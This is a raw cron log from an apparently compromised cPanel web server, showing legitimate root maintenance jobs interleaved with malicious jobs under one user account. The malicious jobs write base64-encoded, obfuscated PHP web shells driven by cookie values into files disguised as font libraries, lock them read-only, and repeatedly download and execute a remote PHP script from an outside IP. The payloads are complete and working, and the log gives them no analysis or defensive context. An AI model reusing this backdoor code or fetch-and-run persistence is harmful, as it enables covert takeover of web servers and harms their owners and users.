Sep  8 19:54:01 ip-184-168-122-23 CROND[16099]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 19:55:01 ip-184-168-122-23 CROND[16182]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 19:55:01 ip-184-168-122-23 CROND[16183]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:55:01 ip-184-168-122-23 CROND[16185]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:55:01 ip-184-168-122-23 CROND[16188]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 19:55:01 ip-184-168-122-23 CROND[16187]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 19:55:01 ip-184-168-122-23 CROND[16190]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 19:56:01 ip-184-168-122-23 CROND[16270]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:56:01 ip-184-168-122-23 CROND[16272]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 19:56:01 ip-184-168-122-23 CROND[16274]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:56:01 ip-184-168-122-23 CROND[16275]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 19:56:01 ip-184-168-122-23 CROND[16276]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 19:57:01 ip-184-168-122-23 CROND[16364]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:57:01 ip-184-168-122-23 CROND[16365]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:57:01 ip-184-168-122-23 CROND[16366]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 19:57:01 ip-184-168-122-23 CROND[16368]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 19:58:01 ip-184-168-122-23 CROND[16473]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 19:58:01 ip-184-168-122-23 CROND[16478]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 19:58:01 ip-184-168-122-23 CROND[16475]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 19:58:01 ip-184-168-122-23 CROND[16477]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:58:01 ip-184-168-122-23 CROND[16476]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:59:01 ip-184-168-122-23 CROND[16654]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:59:01 ip-184-168-122-23 CROND[16656]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 19:59:01 ip-184-168-122-23 CROND[16659]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 19:59:01 ip-184-168-122-23 CROND[16657]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:00:01 ip-184-168-122-23 CROND[16753]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 20:00:01 ip-184-168-122-23 CROND[16756]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:00:01 ip-184-168-122-23 CROND[16755]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 20:00:01 ip-184-168-122-23 CROND[16758]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 20:00:01 ip-184-168-122-23 CROND[16762]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 20:00:01 ip-184-168-122-23 CROND[16759]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  8 20:00:01 ip-184-168-122-23 CROND[16763]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 20:00:01 ip-184-168-122-23 CROND[16760]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 20:00:01 ip-184-168-122-23 CROND[16761]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:01:01 ip-184-168-122-23 CROND[16863]: (root) CMD (run-parts /etc/cron.hourly)
Sep  8 20:01:01 ip-184-168-122-23 CROND[16865]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 20:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[16863]: starting 0anacron
Sep  8 20:01:01 ip-184-168-122-23 CROND[16870]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:01:01 ip-184-168-122-23 CROND[16872]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 20:01:01 ip-184-168-122-23 CROND[16871]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 20:01:01 ip-184-168-122-23 CROND[16875]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[16882]: finished 0anacron
Sep  8 20:02:01 ip-184-168-122-23 CROND[16974]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 20:02:01 ip-184-168-122-23 CROND[16976]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:02:01 ip-184-168-122-23 CROND[16979]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:02:01 ip-184-168-122-23 CROND[16977]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 20:02:01 ip-184-168-122-23 CROND[16978]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 20:03:01 ip-184-168-122-23 CROND[17068]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 20:03:01 ip-184-168-122-23 CROND[17069]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:03:01 ip-184-168-122-23 CROND[17070]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:03:01 ip-184-168-122-23 CROND[17071]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 20:04:01 ip-184-168-122-23 CROND[17157]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 20:04:01 ip-184-168-122-23 CROND[17162]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:04:01 ip-184-168-122-23 CROND[17159]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 20:04:01 ip-184-168-122-23 CROND[17160]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:04:01 ip-184-168-122-23 CROND[17161]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 20:05:01 ip-184-168-122-23 CROND[17265]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 20:05:01 ip-184-168-122-23 CROND[17267]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 20:05:01 ip-184-168-122-23 CROND[17269]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:05:01 ip-184-168-122-23 CROND[17271]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:05:01 ip-184-168-122-23 CROND[17270]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 20:05:01 ip-184-168-122-23 CROND[17268]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 20:05:01 ip-184-168-122-23 CROND[17272]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 20:06:01 ip-184-168-122-23 CROND[17363]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 20:06:01 ip-184-168-122-23 CROND[17366]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 20:06:01 ip-184-168-122-23 CROND[17365]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 20:06:01 ip-184-168-122-23 CROND[17367]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
